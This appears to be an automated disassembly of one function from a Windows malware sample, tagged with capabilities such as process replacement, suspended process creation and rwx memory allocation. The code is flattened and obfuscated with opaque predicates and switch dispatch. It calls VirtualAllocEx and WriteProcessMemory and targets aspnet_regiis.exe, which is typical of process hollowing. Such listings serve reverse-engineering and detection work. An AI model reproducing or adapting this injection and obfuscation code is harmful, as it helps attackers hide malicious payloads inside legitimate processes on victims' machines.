Function at 0x100066c0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x114
mov eax, dword [0x1009ce00]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x11c], 0x851afe9d
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x120], eax
sub eax, 0x8100d0a7
je 0x1000ac52
jmp 0x100066fc
mov eax, dword [ebp - 0x120]
sub eax, 0x8156d57a
je 0x100093ad
jmp 0x10006712
mov eax, dword [ebp - 0x120]
sub eax, 0x817ecc1a
je 0x10009a07
jmp 0x10006728
mov eax, dword [ebp - 0x120]
sub eax, 0x81917bb0
je 0x1000ce6d
jmp 0x1000673e
mov eax, dword [ebp - 0x120]
sub eax, 0x824b530f
je 0x1000da17
jmp 0x10006754
mov eax, dword [ebp - 0x120]
sub eax, 0x82501c23
je 0x10009926
jmp 0x1000676a
mov eax, dword [ebp - 0x120]
sub eax, 0x82fb03e0
je 0x10009c6d
jmp 0x10006780
mov eax, dword [ebp - 0x120]
sub eax, 0x83fd4e51
je 0x1000b6ad
jmp 0x10006796
mov eax, dword [ebp - 0x120]
sub eax, 0x846b5c83
je 0x1000d478
jmp 0x100067ac
mov eax, dword [ebp - 0x120]
sub eax, 0x84b270f9
je 0x1000a876
jmp 0x100067c2
mov eax, dword [ebp - 0x120]
sub eax, 0x851afe9d
je 0x10008961
jmp 0x100067d8
mov eax, dword [ebp - 0x120]
sub eax, 0x8578f523
je 0x1000d234
jmp 0x100067ee
mov eax, dword [ebp - 0x120]
sub eax, 0x86856eba
je 0x1000ba9e
jmp 0x10006804
mov eax, dword [ebp - 0x120]
sub eax, 0x86e21e40
je 0x1000ad38
jmp 0x1000681a
mov eax, dword [ebp - 0x120]
sub eax, 0x886fac81
je 0x1000bebd
jmp 0x10006830
mov eax, dword [ebp - 0x120]
sub eax, 0x88bc7a20
je 0x1000de15
jmp 0x10006846
mov eax, dword [ebp - 0x120]
sub eax, 0x88c8d10b
je 0x1000af01
jmp 0x1000685c
mov eax, dword [ebp - 0x120]
sub eax, 0x89c259e6
je 0x10008ea1
jmp 0x10006872
mov eax, dword [ebp - 0x120]
sub eax, 0x8c1cab80
je 0x10009ef2
jmp 0x10006888
mov eax, dword [ebp - 0x120]
sub eax, 0x8c2e1ae5
je 0x1000aa59
jmp 0x1000689e
mov eax, dword [ebp - 0x120]
sub eax, 0x8c3a1b89
je 0x10009d9c
jmp 0x100068b4
mov eax, dword [ebp - 0x120]
sub eax, 0x8c421777
je 0x1000e0be
jmp 0x100068ca
mov eax, dword [ebp - 0x120]
sub eax, 0x8d9cf2bb
je 0x100094ec
jmp 0x100068e0
mov eax, dword [ebp - 0x120]
sub eax, 0x8e6d49d2
je 0x10009323
jmp 0x100068f6
mov eax, dword [ebp - 0x120]
sub eax, 0x8e97a9cd
je 0x1000b8c8
jmp 0x1000690c
mov eax, dword [ebp - 0x120]
sub eax, 0x8ebac2b5
je 0x1000b818
jmp 0x10006922
mov eax, dword [ebp - 0x120]
sub eax, 0x8f416f45
je 0x1000a43c
jmp 0x10006938
mov eax, dword [ebp - 0x120]
sub eax, 0x901cdb9e
je 0x1000952a
jmp 0x1000694e
mov eax, dword [ebp - 0x120]
sub eax, 0x905f9496
je 0x1000d9ca
jmp 0x10006964
mov eax, dword [ebp - 0x120]
sub eax, 0x9188f9ee
je 0x1000c9fd
jmp 0x1000697a
mov eax, dword [ebp - 0x120]
sub eax, 0x9225069f
je 0x1000da64
jmp 0x10006990
mov eax, dword [ebp - 0x120]
sub eax, 0x92c7360b
je 0x1000b4fc
jmp 0x100069a6
mov eax, dword [ebp - 0x120]
sub eax, 0x92eaa9b8
je 0x1000b7fb
jmp 0x100069bc
mov eax, dword [ebp - 0x120]
sub eax, 0x939cc23d
je 0x1000d177
jmp 0x100069d2
mov eax, dword [ebp - 0x120]
sub eax, 0x9495165e
je 0x1000c5c5
jmp 0x100069e8
mov eax, dword [ebp - 0x120]
sub eax, 0x954f075a
je 0x1000b4be
jmp 0x100069fe
mov eax, dword [ebp - 0x120]
sub eax, 0x96081938
je 0x1000da36
jmp 0x10006a14
mov eax, dword [ebp - 0x120]
sub eax, 0x9628043e
je 0x1000d27e
jmp 0x10006a2a
mov eax, dword [ebp - 0x120]
sub eax, 0x969ccf5a
je 0x1000c39f
jmp 0x10006a40
mov eax, dword [ebp - 0x120]
sub eax, 0x96c9c159
je 0x1000ba3f
jmp 0x10006a56
mov eax, dword [ebp - 0x120]
sub eax, 0x97d680c5
je 0x1000ae81
jmp 0x10006a6c
mov eax, dword [ebp - 0x120]
sub eax, 0x99017ac3
je 0x10008af5
jmp 0x10006a82
mov eax, dword [ebp - 0x120]
sub eax, 0x990c277c
je 0x1000d98c
jmp 0x10006a98
mov eax, dword [ebp - 0x120]
sub eax, 0x9925ac06
je 0x1000de75
jmp 0x10006aae
mov eax, dword [ebp - 0x120]
sub eax, 0x997a907f
je 0x1000bae0
jmp 0x10006ac4
mov eax, dword [ebp - 0x120]
sub eax, 0x9a5bf2f1
je 0x1000b1df
jmp 0x10006ada
mov eax, dword [ebp - 0x120]
sub eax, 0x9b79d04a
je 0x10009aad
jmp 0x10006af0
mov eax, dword [ebp - 0x120]
sub eax, 0x9d2c966d
je 0x1000ab81
jmp 0x10006b06
mov eax, dword [ebp - 0x120]
sub eax, 0x9d2fb09b
je 0x1000ce8b
jmp 0x10006b1c
mov eax, dword [ebp - 0x120]
sub eax, 0x9d632209
je 0x1000d5f1
jmp 0x10006b32
mov eax, dword [ebp - 0x120]
sub eax, 0x9d8b0f3e
je 0x10009a16
jmp 0x10006b48
mov eax, dword [ebp - 0x120]
sub eax, 0x9da2a83a
je 0x1000c764
jmp 0x10006b5e
mov eax, dword [ebp - 0x120]
sub eax, 0x9f654063
je 0x10009747
jmp 0x10006b74
mov eax, dword [ebp - 0x120]
sub eax, 0xa017beb2
je 0x1000d4bb
jmp 0x10006b8a
mov eax, dword [ebp - 0x120]
sub eax, 0xa105bdec
je 0x1000c9ac
jmp 0x10006ba0
mov eax, dword [ebp - 0x120]
sub eax, 0xa1f0bf31
je 0x1000daa2
jmp 0x10006bb6
mov eax, dword [ebp - 0x120]
sub eax, 0xa22130af
je 0x10009608
jmp 0x10006bcc
mov eax, dword [ebp - 0x120]
sub eax, 0xa26f1a31
je 0x1000bdbd
jmp 0x10006be2
mov eax, dword [ebp - 0x120]
sub eax, 0xa3c8d3e6
je 0x10009f21
jmp 0x10006bf8
mov eax, dword [ebp - 0x120]
sub eax, 0xa4b7ec31
je 0x1000ba81
jmp 0x10006c0e
mov eax, dword [ebp - 0x120]
sub eax, 0xa74c5172
je 0x10008dfd
jmp 0x10006c24
mov eax, dword [ebp - 0x120]
sub eax, 0xa802ab38
je 0x1000a990
jmp 0x10006c3a
mov eax, dword [ebp - 0x120]
sub eax, 0xa993db6f
je 0x1000a3e1
jmp 0x10006c50
mov eax, dword [ebp - 0x120]
sub eax, 0xaa173c6a
je 0x1000b839
jmp 0x10006c66
mov eax, dword [ebp - 0x120]
sub eax, 0xaa9c4e10
je 0x1000cf66
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
push eax
mov eax, esp
mov dword [ebp - 0x100], eax
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
push eax
mov eax, esp
mov dword [ebp - 0xf8], eax
push eax
mov eax, esp
mov dword [ebp - 0xf4], eax
push eax
mov eax, esp
mov dword [ebp - 0xf0], eax
push eax
mov eax, esp
mov dword [ebp - 0xec], eax
mov dword [ebp - 0x11c], 0xb947d88c
jmp 0x1000e119
mov ecx, dword [0x1009e128]
mov eax, dword [0x1009e124]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x990c277c
mov ecx, 0x2ed3fcbc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000e119
movss xmm0, dword [0x1001b20c]
movss dword [ebp - 0x108], xmm0
mov eax, dword [0x1009e128]
mov ecx, dword [0x1009e124]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb8cdae52
mov ecx, 0xfe9c2d6c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000e119
movss xmm0, dword [0x1001b39c]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x11c], 0x5c379ef4
jmp 0x1000e119
mov dword [ebp - 0x11c], 0x78b5fa51
jmp 0x1000e119
movss xmm0, dword [0x1001b370]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x11c], 0x1e6dc523
jmp 0x1000e119
movss xmm0, dword [0x1001b36c]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x11c], 0xd999b9dc
jmp 0x1000e119
mov eax, dword [0x1009e128]
mov ecx, dword [0x1009e124]
mov edx, eax
sub edx, 0xe7a8ec26
sub edx, 1
add edx, 0xe7a8ec26
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x596f979
mov ecx, 0x3e05719b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000e119
mov ecx, dword [0x1009e128]
mov eax, dword [0x1009e124]
mov edx, ecx
sub edx, 0x88fae15f
sub edx, 1
add edx, 0x88fae15f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa1f0bf31
mov ecx, 0x30eda5fd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000e119
mov eax, dword [0x1009e128]
mov ecx, dword [0x1009e124]
mov edx, eax
add edx, 0xc114e120
sub edx, 1
sub edx, 0xc114e120
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xac208de3
mov ecx, 0x3106c2be
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000e119
mov dword [ebp - 0x11c], 0xbef861e8
jmp 0x1000e119
mov dword [ebp - 0x11c], 0x9d8b0f3e
jmp 0x1000e119
mov dl, 1
mov eax, 0x36a21cca
mov ecx, 0x30eb3b52
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000e119
movss xmm0, dword [0x1001b344]
movss dword [ebp - 0x110], xmm0
movss xmm0, dword [0x1001b340]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x11c], 0x714eace
jmp 0x1000e119
movss xmm0, dword [0x1001b1dc]
movss dword [ebp - 0x110], xmm0
mov eax, dword [0x1009e128]
mov ecx, dword [0x1009e124]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3a4179e8
mov ecx, 0x45230146
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000e119
mov dl, 1
mov eax, 0x5199d9e7
mov ecx, 0xe4b3bd02
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000e119
movss xmm0, dword [0x1001b32c]
movss dword [ebp - 0x110], xmm0
movss xmm0, dword [0x1001b328]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x11c], 0xa3c8d3e6
jmp 0x1000e119
mov ecx, dword [0x1009e128]
mov eax, dword [0x1009e124]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x710aba0d
mov ecx, 0x4463a6f0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000e119
mov dl, 1
mov eax, 0x8f416f45
mov ecx, 0x3114b36e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000e119
movss xmm0, dword [0x1001b2f0]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x11c], 0xbb52a417
jmp 0x1000e119
mov ecx, dword [0x1009e128]
mov eax, dword [0x1009e124]
mov edx, ecx
sub edx, 0x7be60fa
sub edx, 1
add edx, 0x7be60fa
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xff928bed
mov ecx, 0x5c777d6b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000e119
mov ecx, dword [0x1009e128]
mov eax, dword [0x1009e124]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7d371b46
mov ecx, 0xdb20753c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000e119
movss xmm0, dword [0x1001b2cc]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x11c], 0xd5ea6f6d
jmp 0x1000e119
movss xmm0, dword [0x1001b2c8]
movss dword [ebp - 0x118], xmm0
movss xmm0, dword [0x1001b2c4]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x11c], 0x114aca36
jmp 0x1000e119
mov dword [ebp - 0x11c], 0x7f5bf269
jmp 0x1000e119
mov dword [ebp - 0x11c], 0x207f765
jmp 0x1000e119
mov dl, 1
mov eax, 0xc964aa12
mov ecx, 0xee7defe7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000e119
mov dl, 1
mov eax, 0x678297ca
mov ecx, 0x4e3e1535
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000e119
mov dword [ebp - 0x11c], 0xf26d28c6
jmp 0x1000e119
mov dl, 1
mov eax, 0xcb880f4a
mov ecx, 0x4bb5cf9d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000e119
mov eax, dword [0x1009e128]
mov ecx, dword [0x1009e124]
mov edx, eax
add edx, 0xfe1c02a3
sub edx, 1
sub edx, 0xfe1c02a3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xce1285f0
mov ecx, 0xb8ba80cc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000e119
mov dword [ebp - 0x11c], 0x77defa0b
jmp 0x1000e119
mov dl, 1
mov eax, 0x30484441
mov ecx, 0x8ebac2b5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000e119
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x1001b270]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0xaa173c6a
jmp 0x1000e119
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x1001b26c]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x30484441
jmp 0x1000e119
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x1001b194]
movss dword [eax], xmm0
mov eax, dword [0x1009e128]
mov ecx, dword [0x1009e124]
mov edx, eax
add edx, 0xf4d85fa
sub edx, 1
sub edx, 0xf4d85fa
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x255f9c5f
mov ecx, 0xf1a0b7d7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000e119
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x1001b264]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x15710f40
jmp 0x1000e119
mov dl, 1
mov eax, 0x997a907f
mov ecx, 0x86856eba
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000e119
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x1001b25c]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x591f8122
jmp 0x1000e119
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x1001b254]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x1001b250]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x1d4edf8a
jmp 0x1000e119
mov dword [ebp - 0x11c], 0xb530229
jmp 0x1000e119
mov dword [ebp - 0x11c], 0x575142a5
jmp 0x1000e119
mov eax, dword [0x1009e128]
mov ecx, dword [0x1009e124]
mov edx, eax
add edx, 0x6c54850b
sub edx, 1
sub edx, 0x6c54850b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe7362bb3
mov ecx, 0x3edb515e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000e119
mov dword [ebp - 0x11c], 0xe409e390
jmp 0x1000e119
mov ecx, dword [ebp - 0x80]
mov eax, dword [ebp - 0xe8]
mov edx, dword [eax]
mov eax, dword [ebp - 0x84]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xd4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd4]
cmp dword [eax], 0
sete al
and al, 1
mov byte [ebp - 0x79], al
mov eax, dword [0x1009e128]
mov ecx, dword [0x1009e124]
mov edx, eax
add edx, 0x7294141a
sub edx, 1
sub edx, 0x7294141a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4a3549c6
mov ecx, 0x425d8084
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000e119
mov eax, dword [0x1009e128]
mov ecx, dword [0x1009e124]
mov edx, eax
sub edx, 0x85183fba
sub edx, 1
add edx, 0x85183fba
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbff165da
mov ecx, 0x9188f9ee
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000e119
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
movzx ecx, word [eax + 6]
mov eax, dword [ebp - 0x70]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x69], al
mov eax, dword [0x1009e128]
mov ecx, dword [0x1009e124]
mov edx, eax
sub edx, 0x43ebb061
sub edx, 1
add edx, 0x43ebb061
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbff165da
mov ecx, 0x3acd2c2c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000e119
mov dl, byte [ebp - 0x59]
mov eax, 0xf5b02dc7
mov ecx, 0x9d2fb09b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000e119
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xcc]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xbc]
imul edx, dword [edx], 0x28
add ecx, edx
add eax, dword [ecx + 0x14]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x11c], 0x3d4cf23a
jmp 0x1000e119
mov eax, dword [ebp - 0x48]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x41], al
mov eax, dword [0x1009e128]
mov ecx, dword [0x1009e124]
mov edx, eax
sub edx, 0xe13bd75e
sub edx, 1
add edx, 0xe13bd75e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8c421777
mov ecx, 0x3d8be8ba
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000e119
mov dword [ebp - 0x11c], 0x3ff3cc37
jmp 0x1000e119
mov eax, dword [ebp - 0xc4]
mov ecx, dword [eax]
xor eax, eax
sub eax, 8
sub ecx, eax
mov eax, dword [ebp - 0xb4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
xor eax, eax
sub eax, 8
add ecx, eax
shr ecx, 1
mov eax, dword [ebp - 0xb0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
add ecx, 0x48b414bd
sub ecx, eax
sub ecx, 0x48b414bd
mov eax, dword [ebp - 0xac]
mov dword [eax], ecx
mov dword [ebp - 0x11c], 0x504fc329
jmp 0x1000e119
mov dl, byte [ebp - 0x29]
mov eax, 0xff15a16d
mov ecx, 0xe39d800e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000e119
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xa0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xe8]
mov edx, dword [eax]
mov eax, dword [ebp - 0xa0]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x11c], 0xff15a16d
jmp 0x1000e119
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov eax, dword [0x1009e128]
mov ecx, dword [0x1009e124]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xda566938
mov ecx, 0x3a164f47
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000e119
movss xmm0, dword [0x1001b214]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x11c], 0x2ed3fcbc
jmp 0x1000e119
mov dword [ebp - 0x11c], 0xf2648054
jmp 0x1000e119
movss xmm0, dword [0x1001b204]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x11c], 0xab13f8a8
jmp 0x1000e119
movss xmm0, dword [0x1001b200]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x11c], 0x677719fc
jmp 0x1000e119
movss xmm0, dword [0x1001b1fc]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x11c], 0x627df41b
jmp 0x1000e119
movss xmm0, dword [0x1001b1f4]
movss dword [ebp - 0x10c], xmm0
movss xmm0, dword [0x1001b1f0]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x11c], 0x30eda5fd
jmp 0x1000e119
mov dword [ebp - 0x11c], 0x6bc2691e
jmp 0x1000e119
mov eax, dword [ebp - 0xdc]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x11c], 0xcadb28fd
jmp 0x1000e119
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x11c], 0x939cc23d
jmp 0x1000e119
jmp 0x100066e0